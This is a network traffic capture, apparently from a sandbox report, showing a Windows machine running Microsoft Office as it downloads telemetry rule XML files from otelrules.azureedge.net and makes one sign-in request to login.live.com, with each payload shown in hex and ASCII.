2024-11-19 23:19:28 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:28 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 0514cbb3-901e-00ac-0281-3ab69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231928Z-185f5d8b95c68cvnhC1NYCfn7s00000009dg000000009fw5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:28 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.5	62117	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:28 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:28 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:28 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: b82dc135-b01e-0053-1a8c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231928Z-r1d97b995777mdbwhC1TEBezag00000007x000000000kmqp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:28 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.5	62118	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:28 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:28 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:28 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 7511da03-801e-0083-3b8c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231928Z-185f5d8b95csp6jmhC1NYCwy6s00000009bg00000000bwn6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:28 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.5	62119	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:29 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:29 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: bdf96f18-c01e-0066-808c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231929Z-185f5d8b95c4vwv8hC1NYCy4v400000009h000000000dc83 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:29 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.5	62120	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:29 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:29 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 7bd180c9-401e-008c-0e8c-3a86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231929Z-r1d97b99577n5jhbhC1TEB74vn00000007wg00000000mntn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:29 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.5	62123	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:29 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:29 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: be70f01e-301e-000c-538c-3a323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231929Z-1777c6cb754j8gqphC1TEB5bf800000008t0000000001fxc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:29 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.5	62121	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:29 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:29 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 2155a01d-401e-00a3-768c-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231929Z-r1d97b99577tssmjhC1TEB8kan00000007w000000000eh6f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:29 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.5	62122	40.126.32.136	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:29 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-19 23:19:29 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-19 23:19:30 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 19 Nov 2024 23:18:30 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C551_SN1 x-ms-request-id: 83615a57-7a85-406d-89b2-017d3c5c2770 PPServer: PPV: 30 H: SN1PEPF0002F04A V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 19 Nov 2024 23:19:29 GMT Connection: close Content-Length: 11389
2024-11-19 23:19:30 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.5	62124	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:30 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:30 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:30 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 538c9d0d-101e-0028-1c8c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231930Z-r1d97b99577ndm4rhC1TEBf0ps0000000870000000003fg3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:30 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.5	62125	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:30 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:30 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:30 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 8e68b2a4-701e-005c-1a8c-3abb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231930Z-1777c6cb754dqf99hC1TEB5nps00000008fg00000000u8dp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:30 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.5	62127	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:30 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:30 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:30 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 961908b5-401e-0016-178c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231930Z-185f5d8b95cwtv72hC1NYC141w000000098000000000nzg7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:30 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.5	62126	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:30 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
